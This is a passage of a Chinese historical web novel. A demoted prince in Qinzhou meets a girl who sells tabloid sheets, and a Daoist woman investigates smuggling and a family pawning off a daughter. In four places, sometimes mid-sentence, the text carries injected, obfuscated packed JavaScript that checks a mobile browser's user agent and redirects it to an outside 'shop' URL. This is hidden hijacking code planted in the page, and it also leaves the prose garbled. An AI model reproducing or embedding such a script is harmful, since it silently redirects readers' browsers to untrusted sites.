阿持也靠坐在草料堆上，随手从理好的小报里抽出一张，展开瞧了瞧，眼睛笑得弯弯的：“阿莼，这张上头写的故事有些意思，我给你念念？” “好呀好呀！”秀莼立时来了精神，两眼放光地凑过去。 阿持清了清嗓子，念道：“你听这个——某提刑官大人为察民情，每日清晨扮作货郎巡街。昨日因研究胭脂水粉太过入神，竟顺手替巷口孙娘子描起眉来，手艺精妙，引得左邻右舍女子都来排队。恰逢御史路过，惊见此景，现欲弹劾其‘行止类娼门妆师’。提刑官辩称：‘此乃深查铅粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527892|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走私要案之必需！’” 秀莼“噗嗤”一声，在干草上笑得打起滚来。 “还有这个——”阿持又翻了一页，“辽使进贡礼单被某寺丞家幼子涂鸦，急寻西街画匠仿造。画匠怒曰：‘某擅画春宫，岂会仿写契丹文字？’终以三只烧鸡成交，礼单上鹰纹改作肥鸭。辽使见之疑惑：‘南朝边镇，竟养鸭防秋？’” “哈哈哈——”秀莼笑得眼泪都出来了，捂着肚子直喘气，“原来小报这般有趣！快，阿持，再念再念！” “年方二十三的皇子，痴迷风水星象。上月择王妃，竟携罗盘密访五户候选闺秀家宅，量大门方位、测后院水井。某日潜入某侍郎家，竟将绣楼方位测为‘白虎煞’，当即要作法驱邪，却不料烛火点着绣楼，又遇大风，竟将侍郎家烧了个干净，连带受灾民户数十余家。御史弹劾其‘器识庸暗，行义有亏’，官家大怒，责授某地参军，安置他处居住。” 两人笑得直不起腰来。秀莼捂着肚子，上气不接下气：“怎么……怎么会有如此蠢笨的皇子？真是闻所未闻！” 谢元佑的手在“青风”的鬃毛间微微一顿。 隔墙的笑声脆生生的，带着股子肆无忌惮的劲头。那几个字眼——“蠢笨皇子”、“闻所未闻”——隔着土墙，一字不漏地钻进草料库外谢元佑与魏嵚二人的耳朵里。 魏嵚眉头一拧，正要上前喝止，却被谢元佑一个眼神止住。魏嵚觑着主子面上并无愠色，心里稍稍安定了些。 谢元佑被那小姑娘“咯咯”的笑声勾了过去。他偏了偏头，探出半边脑袋，目光投向草料库里。 谢元佑站在草料库门外，隔着半掩的门板往里瞧。 里头那个小姑娘四仰八叉躺在干草堆上，笑得捧着肚子，眉眼弯弯的，似是连眼泪都笑出来了，胡乱用手在脸上抹。 她扯着旁边那半大小子的袖子，一边笑一边央他：“别，别念了,等会儿……笑得我肚子疼，真疼……” 那小子当了真，登时愁眉苦脸地凑过去，又是看脸色又是摸额头，嘴里直念叨：“真疼了？要不要我去医馆找个大夫瞧瞧？” 小姑娘被他这一问，笑得更厉害了，“哎哟哎哟”地连笑带哼，在草堆上翻来滚去。 那半大小子急得手忙脚乱，伸手想要去扶她，又不知从哪儿下手，一副手足无措的模样。 魏嵚瞥见主子嘴角极细微地动了动，竟像是有丝淡得几乎看不见的笑意一闪而过。 他心里知晓，这些年谢元佑身边来来去去的，尽是些战战兢兢、察言观色的角色，这般鲜活无忌的人儿，确是许久不曾见了。 里头的笑声渐渐低了下去，只剩窸窸窣窣翻弄纸页的响动，间或漏出一两声压得低低的笑。 就在此时，陈槽头办完急差匆匆赶回。一进马厩，便望见西边马厩旁立着个青衣男子，正朝草料库那边张望，身旁还跟着个佩剑的随从。 而草料库里，隐隐约约有嬉笑声传出来。 陈槽头脸色刷地变了，心道不好。 他忙小跑上前，故意提高了嗓门行礼：“小人陈三，是此处的槽头。给大人请安，不知大人驾到，有失远迎。不知大人有何吩咐？” 话落，又急急朝草料库方向压着嗓子斥道：“不懂规矩！还不快走！” 里头笑声戛然而止。 房秀莼与阿持低着头挪步出来，不敢多待，匆匆欠了欠身便要溜。 “站住。” 声音不大，却带着股不容置疑的威严。 两人脚下步子一顿。 20. 卜邻 两个孩子身子一僵，慢慢转回身来，脑袋垂得低低的，恨不能寻条地缝钻进去。 陈槽头忙抢前半步挡在中间，一颗心几乎要从嗓子眼里蹦出来，深深作了个揖：“大人息怒！这、这两个孩子是临时找来帮忙的马工，乡野小儿，不懂规矩，冲撞了大人，万望大人海涵……” 谢元佑目光淡淡扫过他，落回两个孩子身上：“抬起头来。” 谢元佑的目光从秀莼脸上移到阿持脸上，又落在草料库里那堆码得整整齐齐的小报上。 “你们方才念的，是哪一份？” 陈槽头脸色发白，嘴唇哆嗦了半晌，才挤出话来：“大人，都是、是老早的小报……不值什么钱的东西……” “我不问你，问他们。”谢元佑抬了抬下巴，指向房秀莼和阿持。 阿持不敢违拗，回到草料间寻了张小报递上前去：“大人，是这份。” 谢元佑接过，低头扫了一眼，目光在“年方二十三的皇子”那几字上停了停。 秀莼偷偷抬眼瞧他，见他面色平静，不像要发怒的样子，胆子便大了一丝：“大人……您也爱看这些小报？阿持念的可有趣了，还有好些呢……” 谢元佑看了他们片刻，清了清嗓子，语气放得缓了些：“也好。方才听你们念那些趣闻，倒也有趣。左右我也闲着，不妨念来听听，一同解解闷。” 众人屏着气，哪敢真念。 房秀莼嘴唇动了动，没敢出声。 “不必怕。”谢元佑唇角微微一弯，“日子确是闷得很，听些闲话乐乐也好。” “大人若真想解闷……”房秀莼咬了咬嘴唇，话已出口才觉着冒失，“我、我可以卖些小报给大人……” 陈槽头眼前一黑，险些背过气去。 “大胆！”魏嵚手按剑柄，剑身出鞘半寸，却被谢元佑一记眼风瞪得乖乖收了回去。 谢元佑反倒点了点头，语气平和：“既如此，那便多取些来，我买了。” 房秀莼转身跑回草料间，不多时捧着一叠叠好的小报出来，双手递上：“大人。” 魏嵚接过，觉得有些荒唐。 谢元佑偏头对魏嵚道：“赏他们。” 魏嵚从怀里摸出几块碎银，递了过去。 房秀莼看着银子，迟疑着没接：“大人，用不了这许多……” 谢元佑抬眼看向她，眸光淡淡的，看不出喜怒。 “你叫什么？” “房秀莼。”她挺了挺胸脯，倒不怕了。 “房秀莼，听你说话，倒是个实诚的，不贪心。拿着罢。” 谢元佑又摆了摆手，“没事了，去吧。” 两个孩子接了银子，如蒙大赦，赶紧溜了。 陈槽头那张煞白的脸这才缓过些血色，长长吁出一口气。 “陈槽头。” 陈槽头刚放下的心又提到了嗓子眼：“小、小人在。” “你将马照料得极好。”谢元佑转向魏嵚，“也赏他。” 陈槽头又惊又喜，接过银子连声道谢。 待那二人身影消失在官舍方向，他才腿一软跌坐在地，后知后觉地抖了起来。 不多时，房秀莼拉着阿持又悄悄折了回来，见老陈瘫在地上打摆子，忍不住笑：“老陈，你也忒胆小了。那位大人瞧着没那么吓人。” “你这活祖宗！”陈槽头一口气终于顺过来，压着嗓子骂道，“还敢卖小报给官爷！你俩真是胆大包天！” 官舍里，谢元佑躺在窗边那张椅上，指腹来来回回地捻着那几张皱巴巴的小报。纸页薄脆，指尖能触着油墨那点子涩涩的粗糙感。 魏嵚垂手立在一边，眼瞅着自家大人的目光凝在那纸页上，半晌不动，连呼吸都放得极轻。 “大人，”魏嵚低声探问，“可要属下去……” “不必。”谢元佑抬手止住他的话，语气极淡。 他把小报往案几上一撂，纸页擦过砚台边沿，发出“沙”的一声轻响。 他抬眼望向窗外那方院落：“那陈槽头说，那孩子只是替人跑腿，收罗这些零碎？” “是。我回头盘问了陈槽头，他是这般说的。大人，可要再查查？” 谢元佑没接话茬，只淡淡道：“秦州这地界，连个半大孩子都能被人支使着打探消息……倒比京城那潭死水有趣些。” 他撑着扶手站起身来，慢悠悠踱到窗边。那冰凉的窗棂硌得人指节生疼。 方才那十二三岁的小丫头，眉眼间那股子机灵劲儿里掺着些未经世事的莽撞，撞进眼里时，竟无端勾起个故人的影子——也是这般年纪，眼里亮晃晃的光还未经世事磨钝，说话不知轻重，浑身都是鲜活气儿。 “去查查那两个少年。莫惊动旁人。”他拿起一枚青玉镇纸，轻轻压在小报上头，“等等——”略顿了一顿，“那小姑娘，问问她收小报的是何人。说与不说，都随她，莫要为难她，再给她些赏钱。” “是，属下明白。” 远处驿站檐角下，风铃叮叮当当响着。风里裹着马厩那边飘来的干草香，不浓不烈，清清淡淡的。竟叫谢元佑这常年泡在算计里头的人，平白生出几分贪恋——贪恋这点子烟火气十足的鲜活生气。 魏嵚去打探的工夫，谢元佑已将那十几份京城小报翻完了，剩下的那份秦州本地的，也看了大半。 不多时，门外传来脚步声。门推开，魏嵚带了一身寒气进来，头上、肩头还沾着没拍尽的雪沫子，鬓角的发丝都冻得发硬。 他鼻尖冻得通红，进门便急着要上前禀报。 谢元佑却抬手摆了摆，语气平平的，底下却带着几分温意：“不急，先喝口热茶暖暖。冻坏了身子，反倒误事。” 魏嵚愣了愣，抬眼觑了自家大人一眼，心里头暗自嘀咕——自打来了秦州，大人倒比在京城时多了几分活人气儿。 这念头一闪，心口竟莫名暖了几分。他也不急着禀报了，端过案几上温着的茶盏，仰头灌了一大口。 热茶滚过喉咙，暖意顺着腔子一路淌进肚子里，周身的寒气霎时散了大半。 他又倒了一杯，捧在手里暖着，搓了搓冻僵的手指，这才开口道：“大人，属下查明了。那丫头确实姓房，秦州本地人，寻常百姓家的孩子。据她说，收小报的是个外乡男子，她只管将小报送到地方，银货两讫，也不知那人下落。昨日那少年，就是个跟着团头讨饭的小叫花子，瞧着也没什么异样。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527893|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>谢元佑听了，嘴角微微一勾，似笑非笑地瞥了他一眼：“这还不可疑？一个街头讨饭的小叫花子，竟识文断字，还能看懂小报上那些门道——哪有这般凑巧的事？”顿了顿，又道，“那丫头也是个精的，分明是防着你呢。这话一听就是糊弄人的。” “属下也觉着不对劲，”魏嵚连忙接话，语气里多了几分笃定，“所以不敢就此折返，又去她家住的那片巷子附近转了一遭。” 谢元佑端起茶盏，指尖慢慢摩挲着杯沿，眼神却定定地：“想必，那地方是有刚住进去的‘外乡人’罢？” “大人说得不差！”魏嵚眼睛一亮，“正如大人所料。近来她家那片巷子，刚住进两个女冠。属下还听附近的住户说，那地方左右几间屋子，这阵子总闹鬼，夜里常能听见些怪声，没人敢挨近。那两个女冠一住进去，就消停了。” “闹鬼？”谢元佑眉梢微挑，眼底掠过一丝兴味。他沉吟半晌才缓缓开口，气语气慵懒，“闹鬼——生面孔——女冠……这秦州的事，倒真是愈发有趣了。” 魏嵚见状，当即躬身请命：“属下这就去探探那两个女冠的底细，看她们究竟什么来路。” “不必。”谢元佑抬手止住他，语气淡淡，却不容置喙，“此事不宜声张。你是生面孔，贸然再去打探，反倒打草惊蛇。” 他沉吟片刻，又道：“明日你去牙行走一趟，就在那巷子近处赁一间屋子，就赁那闹鬼的屋子。等汪枢密他们到了秦州，我们先谒见上官，报部到任后，咱们再搬过去。” “属下明白。”魏嵚躬身应下，顿了顿，还是忍不住问道，“大人，咱们这是要在此处长住？” 谢元佑抬眼，似笑非笑地看他一眼，语气里带着几分自嘲：“不该么？你忘了，如今我只是个俸禄微薄的小小参军，可赁不起什么好宅子。” 他说着，目光转向窗外。 雪下得更密了，官驿院里的花木已覆上一层薄薄的白。 他低声喃喃，语气里透着几分兴致：“往后咱俩也要在此处当差。这秦州的浑水，倒有几分意思。提前蹚一蹚，日后办起差来也便宜些。” 魏嵚闻言不答腔，心里却暗暗腹诽：这番话说出来，谁信呢？ “去罢，先歇着。明日去赁宅子，把家什置办起来。旁的先不急。” “是。”魏嵚应了，却不急着退下，踌躇片刻，还是低声道，“大人，那两个女冠……真就这么放着不管？” 谢元佑起身，踱到窗前，推开一道缝。 冷风挟着细雪扑在脸上、眉梢，他也不避。 “急什么。”他望着外头茫茫雪色，“若是妖，总得现形；若是人，总得露脸。” 顿了顿，又道：“何况那闹鬼的宅子，她们住进去反倒安宁——凭的是本事，还是别的什么，我倒想看看。” 魏嵚应了一声，躬身一礼，转身出了门。 屋里只剩谢元佑一人。他关好窗，回身走到案边，目光落在那叠小报上。 最上头一张，恰是那小叫花子念的那段“蠢笨皇子”的旧闻。 他看了片刻，忽地一笑，将那纸揉成一团，丢进炭盆里。 火舌一卷，纸团化作灰烬，轻飘飘地散开。 21. 永宁寨马市 永宁寨马市在东城外三里地。 姜南绍今儿穿了件青色劲装，高束马尾，瞧着干净利落，平添了几分英气。 她与柳牙婆人刚走近马市大门，那股子难闻的气味便扑面而来——牲口的膻气、干草的土灰、人身上的汗，尽数搅作一团。铁匠铺子里飘出的煤烟也掺在里头，呛得人喉头发紧。 她与柳牙婆就这么满市集转悠着，问了这个问那个，看了这匹看那匹，却对哪匹马都摇头，就这么满市集转悠着。 柳牙婆跟在她侧后半步，嘴不曾停过：“姑姑您瞧，这儿可是秦州顶大的马市了，南来北往的好牲口，但凡您想看的，这儿准有！老婆子认得几个相熟的马贩子，保准给您挑匹脚力好、性子稳的……” 姜南绍嘴里应着，眼睛却没闲着，飞快地在市集里扫来扫去。 市集右手边一排敞棚，拴着十几匹河西马。左手边是些杂货摊子，卖旧鞍具的、卖断缰绳的。再往里，有个挂着苇帘子的铁匠铺。 她朝那铁匠铺望去，只见一个西夏人打扮的高大汉子从里头出来，腰间别着把短刀，步子极快，径直钻进旁边那间低矮的茶水铺。 她脚下慢了几分，装模作样地打量起道旁一匹枣红马，眼角的余光却没从那铁铺与茶铺之间挪开。 不多时，茶铺里又跟出四五个劲装汉子，押着一辆遮得严严实实的篷车，径往马市深处去了。车轮碾过泥地，压出两道深深的车辙印子。 姜南绍不觉加快脚步，想要跟上去。柳牙婆在后面赶得直喘：“姑姑，您慢些走，等等老婆子……” 姜南绍步子一顿，略想了想，回身对柳牙婆道：“妈妈，走得有些口渴了，咱们去那茶水铺喝碗茶。” 柳牙婆一愣，不晓得她葫芦里卖的什么药，也只得跟着进了茶水铺。 铺子里的耿老板一眼瞧见柳牙婆，脸上便热络起来：“哟，柳牙婆，今儿得闲带客看马？” “挣口饭钱罢了。”柳牙婆堆着笑，“比不得你这里，迎来送往的，生意瞧着旺得很。” “这世道，也不过是挣个受气钱。”耿老板苦笑着摆摆手，“来的爷哪个惹得起？碰上个不讲理的，一天白干还得倒贴。” “可不是么，讨口饭吃不易……”柳牙婆顺着话头叹了一声。 姜南绍将一锭银子搁在桌上，也不拐弯抹角，压着声问道：“老板，跟您打听个事儿。方才从您这儿出去的那几个，什么来路？” 耿老板脸色一变，警惕地打量她：“您是……” 姜南绍没吭声，只把那锭银子往柳牙婆跟前推了推。 柳牙婆愣了一瞬，立时会意，脸上笑得更开了，起身把耿老板往里间拉：“哎呀老耿，莫要误会，这是我东家，正经客人。您借一步说话……” 姜南绍歇了会儿，柳牙婆很快从里间出来，凑到姜南绍耳边低语几句。 姜南绍点了点头，独自进了茶铺里间。 耿老板见她进来，仍是满脸戒备，上下打量一番：“您……是位女冠？” “正是。”姜南绍点头，“耿老板不必多虑，并非官府中人，只买几条消息。” 耿老板面色稍缓，却仍带着几分犹豫：“在下能说的有限，可不敢惹祸上身。” 姜南绍点了点头，将又一锭银子搁在桌上。 “那几个人的头儿，”她问道，“去铁铺做甚？” 耿老板盯着那锭银子，喉结滚了滚，半晌才开口：“那领头的，唤作老丁，是黑鹞子底下的人。” 姜南绍将第三锭银子推过去，换了个问法：“您可曾听过什么风声？” 耿老板望着桌上三锭银子——够他两个月的进项了。他牙一咬，心一横，压低声道：“有一回我听他底下几个跟班的闲聊，说什么‘每半月这时候都来铁铺取例钱’。至于是什么例钱……”他摇摇头，“这可不好说。” “那篷车里拉的是什么？” “具体是什么，瞧不真切。”耿老板皱着眉回想，“有一回风大，车帘子掀起来一角，我瞅着像是长条状的油布包裹。”他顿了顿，声音又压低了几分，“我家伙计去给那些人喂马，回来说那缰绳上沾的是那——” 他机警地朝四下望了望，不由向姜南绍凑近了些，几乎只剩气音：“就是官府禁的那东西。不过，在这马市上见着，也算不得什么稀罕事。” 姜南绍沉吟片刻：“他们何时来这里收例钱？” “倒是没有固定的日子，半月前后差不离。” “他们收例钱的时候，可有看到给例钱的人？” “这......”耿老板为难，“姑姑，您也知道这里面弯弯绕绕，可说不得的。” “行！”姜南绍看他这样为难，也不强逼，心底已揣摩出几分——这给例钱的人十有八九是官面上的人。 她站起身，临走前撂下一句：“下回他们再来，烦耿老板遣人给柳牙婆带个信儿。你放心，不会让您白跑的。” 耿老板连连点头，躬着身子送她出去：“姑姑放心，您的话我记下了。” 姜南绍出了茶水铺，柳牙婆颠颠儿跟上来，觑着她的脸色，小心翼翼地问：“姑姑，可还看马？” “看，怎么不看。”姜南绍语气如常，仿佛方才什么事都没发生过，“方才那匹枣红马，你去问问价，杀个好价。” 柳牙婆应了一声，小跑着去了。 姜南绍独自站在市集当中，目光漫不经心地扫过四周，最后落在那铁铺上。心下想起房丫头说的那胡记铁铺，得寻个空去瞧一瞧，只怕中间有什么勾连。 姜南绍骑马回到匠巷时，雪已经下了好一阵了。 她身上、头上落满了雪沫子。 推开院门就看到檐下挂着周至语那件灰褙子，正堂里隐隐约约有说话声。 她把买来的马牵进马厩，添了把草料，这才拍着肩头的雪往屋里走。 正堂里除了周至语，还坐着一个人。一瞧见她推门进来，房秀莼直直朝她扑了过来：“姜姐姐，你可回来了！” 正堂大方桌旁搁着个极大的毛毡袋，想是她早前托办的东西。 姜南绍抬手挡了挡她：“这便办成了？”声音淡淡的。 小丫头使劲点头：“我还寻人按日子给姐姐理好啦！”说着打开毛毡袋，将小报一层层往桌上码，“喏，这堆是京城来的，这堆是秦州本地的。” 姜南绍望着那两摞码得齐整的小报，眼神微微一动：“还替我理了？”语气仍是淡淡的，底下却透出一丝不易察觉的松动，“你找的那人，倒有些本事。” “那自然啦！”房秀莼眉开眼笑，拿起一份小报翻给她瞧，“他可厉害了，虽说是个小叫花子，却识得字，还念了好些故事给我听呢，可有意思了。你瞧这个，写那皇子的笑话，笑得我眼泪都出来了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527894|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姜南绍没接过来，目光从她脸上滑过，落在那满满一麻袋小报上。 小叫花子识字？她心下一动，却未动声色。 “事办得不错。”她从袖中取出一锭银子，“给你朋友的。” “姜姐姐放心，我已经给过啦。” “那你拿着。” 房秀莼晓得她性子，便也不推辞，喜滋滋地把银子揣进怀里。 她忽地想起什么，抬起头来：“对了姜姐姐，有桩事得跟你说说，给你提个醒。我在驿站撞见一位大人，有些古怪。” 她把前因后果说了一遍，末了压低声音：“下午那大人的属下还来跟我打听收小报的是谁，我寻了个由头搪塞过去了。” 姜南绍听罢，眉头微微蹙起。 驿站？大人？ 她沉吟片刻，问道：“那位大人，生得什么模样？” 房秀莼想了想，比划着说：“年轻得很，约莫二十来岁，穿一身青衫，生得极好看，瞧着气度不凡。身边还跟着个佩剑的随从，凶巴巴的。”她顿了顿，又补了一句，“不过那位大人倒是不凶，还给了我们赏钱呢。” 姜南绍点了点头，没再追问。 “秀莼，”她抬起眼，语气仍是淡淡的，却比平日多了几分郑重，“往后这桩事，你不能再沾手了。” 房秀莼一愣：“为甚么？我做得不好么？” 周至语觉着这小丫头倒有几分灵性，只是她们行事素来不惹闲事上身。她瞥了姜南绍一眼，料定她只会冷着脸将人打发了去。 “你做得很好了。”谁料姜南绍却耐着性子夸了一句，顿了顿，又道，“正因做得好，才不能再做。那位大人既已遣人来问过你，便已是起了疑心。你若再搅进来，只怕要惹祸上身。” 房秀莼张了张嘴，想说什么，却被姜南绍一个眼神止住。 “此事便这般定了。”姜南绍声音冷了下来，“先过了这阵子再说。” 房秀莼咬着嘴唇，半晌，才不情不愿地点了点头：“那……好吧，我都听姜姐姐的。” 姜南绍抬手拍了拍她的肩：“回去罢，天冷，莫叫你阿娘担心。” 房秀莼站起身，走到门口又回头望了一眼，欲言又止，终究还是推门去了。 姜南绍送走房家丫头，门刚合上，身后便传来周至语一声冷笑：“我倒不知你何时这般有耐性带孩子了。” 姜南绍扫她一眼，目光里带着几分警告：“我们所行之事，与旁人无关，我记得这点，你也莫要多事。” 周至语腾地站起身来：“你在外头搞什么名堂，我本有权晓得。你一日不见人影，这小丫头跑来，又冒出什么‘大人’——你到底惹了多大的乱子，连官府的人都盯上咱们了？”她咄咄逼上前一步，“咱们的事可不是你一个人的事，你别给大伙儿招来大麻烦。” 姜南绍面色不改，只淡淡道：“师姐放心，我自有分寸。若真有事，也不会连累你。”顿了顿，又道，“只是眼下还不便多说，你只管信我就是。” 周至语听她这般说，倒不好再逼，只冷哼一声，拂袖坐下。 姜南绍叹了口气：“官府的人盯上咱们，我也没料到，是我大意了。这一日我在外头打探秦州的情形，只是未及与你说。” “是么？”周至语白她一眼，“你使那丫头做事，可不就惹出麻烦来了？若依师父的意思，这丫头便留不得。” 22. 典女 姜南绍语气却半点不肯软：“尚未到那步田地。汪平程不日便至秦州，过几日尘埃落定，又何苦多生事端？” 周至语冷笑一声，语带讥诮：“我倒是小瞧了你。这般心软，可不像你。” 姜南绍眼帘低垂，话锋直刺周至语肺腑：“师姐，她才多大年纪？你同你师妹从前也是打小苦过来的。想来，你总不至于去告诉师父吧？” 周至语听她提起师妹，被这话噎得牙根发痒，偏偏驳不得。恨恨瞪了她半晌，气鼓鼓地回房打坐去了。 姜南绍闭了闭眼。 那话一出口，她自己倒先泄了气。 她眼前恍惚闪过一双黑白分明的眼睛，含着笑意——那个唤作姜南绍的小女娘。 她顶了人家的名。 “姜南绍。”她喃喃念着这三个字，脸上那点子平静裂开一道细缝，“只怕是我错了。往后，得离那丫头远些才是。” 白日里事多，到了夜里便睡不踏实。 那个梦又寻来了。姜南绍陷在里头，挣也挣不脱。好容易醒转，天已大亮。她坐在床沿愣了好一阵子神，才起身打了盆凉水，将整张脸埋进去。 冰凉的水激得人一哆嗦，心里那阵怦怦乱跳才算平复了些。 擦干了脸，她坐到桌前，拿起那堆小报一份份翻看。 先瞧秦州本地的。有用的消息不多，尽是些市井笑谈。只一条入了眼——大小洛门寨、枭留家族、波阳波这些吐蕃部落，私贩青盐的事越发猖獗了。她蹙起眉，想起昨日马市茶铺老板那番话，心里隐隐有了些眉目。 又拿起那摞京城来的，翻得飞快。翻到某一则时，手却僵在半空，脸色沉了下来。 想起昨日秀莼说的那个“皇子的笑话”时，她笑得眼泪都出来了的——必是这一则了罢。 可她半点儿笑不出来。胸口闷得慌，像压了块石头似的。 她猛地站起身，那小报飘飘悠悠落到脚边。深吸一口气，又缓缓吐出来——那人被废了皇子身份，贬成个小官，她早就知道了。可心里还是发酸，像堵了团东西。 自己竟还受这个人影响。他怎样了，与她什么相干？早就不相干了。 她弯腰拾起小报，脸上已看不出什么情绪。一页一页翻下去，仿佛方才那一瞬间的失态，从不曾有过。 不知不觉，已近午时。 外头有人叩门。周至语将人引进正堂，又到姜南绍房门外唤了一声。 姜南绍放下小报，推门出去。 来人递上一封短笺——云来先生遣来的。说事已在弦上，命她后日务必往凤台山去一趟，有要事相商。 送走了人，姜南绍在正堂站了片刻，手里还攥着一张小报，却怎么也看不进去了。 后日要去凤台山。去之前，有桩事得办妥。 她想着那几锭砸在柳五娘手里的银子，心里有了计较。这事非得那婆子去办不可——不然先前那些“甜头”，岂不是白喂了？ 没等她去寻柳五娘，院门外倒先响起了脚步声。 人还没进门，声儿先进来了：“姑姑，姜姑姑在么？” 柳五娘笑得满脸褶子，一进门就要来拉姜南绍的手。 姜南绍往后让了半步，那手落了空。柳五娘也不尴尬，照样热络：“姑姑，昨儿才见过，今儿又来叨扰啦。” 姜南绍把手拢进袖子里：“妈妈今日来，有事？” “可不有事嘛。”柳五娘往里探了探头，瞥见周至语正靠在门框上冷冷瞅着。她讪笑一声，压低声音，“房家要典丫头，我顺路就先来问问姑姑——那几间屋子除祟的事，可办妥了？我那头有人来问赁房子的事了。” 姜南绍心头一跳。 注意力却落在她前一句话上——房家典丫头？ 她面上不动声色，只淡淡回道：“那几间屋子，我与师姐都已施过法，这几日瞧着并无不妥。妈妈尽管赁出去便是，我也好早些收那半年租金，多些进项。” 柳五娘眼睛一亮，双手一拍，连声道谢：“那可太好了！我明日便带人去看房。”她边往外退边道，“那我去房家了，姑姑忙着，老婆子不打扰了。” 姜南绍点点头，面色平静地送她出去。 直到柳五娘出了门，周至语才抱着胳膊从正堂那边晃过来。她原是一副等着看好戏的模样，嘴张了张想刺两句，话到嘴边又觉得没意思，只看了姜南绍一眼，便把那话咽了回去。 屋里静了半刻。 周至语到底没忍住，斜着眼瞅她：“你去房家瞧瞧，典的是不是那丫头。” 姜南绍不语。 这还用瞧？房家能典的丫头，除了那丫头还有谁？底下虽有个小妹，年岁还小，不顶事。房二郎自己的闺女，断然舍不得送去典的。 “若真是她……”周至语顿了一顿，“只怕不好收拾。” 姜南绍偏过头来看她。 周至语把目光挪开，语气里透着几分不自在：“不过是银子的事。可万一那丫头急了眼，把咱俩卖给官府换钱，倒不如先……先把她了结了。” 姜南绍没接话。她心里明白，周至语这话是在给她递梯子，也是在给自己找台阶。这人一张嘴硬邦邦的，心肠却软，她也不是头一日晓得。 只是这话听在耳朵里，心里头酸酸的。 若她还是先前那个她，遇上周至语这样的人，大约真能处成个知交。可如今她顶着旁人的名姓，便再不能与谁亲近了。 她未应声。 周至语忽然喃喃道：“我与师妹当年，也险些被典到大户人家做丫头。是师父替咱们赎了身。”她顿了顿，声音低下去，“说起来，也算是同病相怜了。” 姜南绍微微一怔。 这是周至语头一遭与她提起自己的事。 姜南绍似笑非笑，目光闪了闪，话到嘴边却换了口风：“你莫要多想。你当真以为，师父当年替你们赎身，是存了救人的心？” 周至语脸色骤变。 姜南绍也不看她，只淡淡岔开话头：“房家这事，银子救得了一时，救不了一世。” 是这么个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527895|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理。若只给房二郎几两银子，那丫头过不多时，仍要被再典一回。她那位二叔，这般事不是做不出的。 “这事旁人救不得。”姜南绍听得外头隐约传来吵嚷声，抬脚便往外去，“须得她与她娘自家想明白。若想不通透，那便是她的命数了，我去瞧瞧罢。” 她推门而出，径直往房家去了。 周至语望着她背影，嘴唇动了动，到底没喊出声来。 房家院门前早围了一圈看热闹的，人头攒动，叽叽喳喳说个不休。 姜南绍拨开人群往里挤。有人认出她来——前几日折了房二郎胳膊那位女冠，便纷纷让道。一个心善的婆子多嘴说了句：“好了好了，能镇场的人来了。” 姜南绍没费什么周折便进了院子。 院里那光景，叫人看了心里发紧。房大娘披头散发跪在地上，两手死死攥住房二郎的衣袖，嗓子早哭哑了，只拿一双红肿的眼睛巴巴望着他。房二郎那条胳膊还吊着夹板，一脸不耐烦，往后一甩一甩地扯着袖子。 姜南绍未急着上前，只立在门边，先瞧瞧情形。 “我乃一家之主，这事我说了算！”房二郎狠狠甩开房大娘的手，“大丫眼看满十三了，该替家里分些担子了。养你们这一家子，真是填不满的窟窿！” 柳五娘在旁边帮腔，笑得满脸和气：“房家大嫂，你可把心放宽。我给大姑娘寻的可是户好人家，家主仁厚，从不打骂下人，是正经去过好日子的。” 房大娘只是摇头，泪糊了一脸。她忽地想起什么，从地上爬起来，踉踉跄跄扑向蹲在墙角的房大郎，扯着他胳膊直晃：“当家的，你倒说句话呀！不能叫二郎把阿莼卖了！” 房大郎垂首缩颈，半晌抬不起头来，唇齿哆嗦了许久，方挤出一句：“我……我又有何法子？” 一个七八岁的小姑娘——想是秀莼的小妹——也扑上去抱住他腿，哭得上气不接下气：“阿爹，莫让二叔卖了阿姐……阿爹，我求您了……” 房大郎被缠得无法，猛一使劲推开了娘俩。那小的一骨碌滚倒在地，房大娘也跟着踉跄跌倒在地。 “我没法子！认命罢！”他拿脚踢了踢地，像是与自己赌气。 房大娘瘫在地上，哭得肝肠寸断。那哭声似刀子一般，一刀一刀剜在人心头。 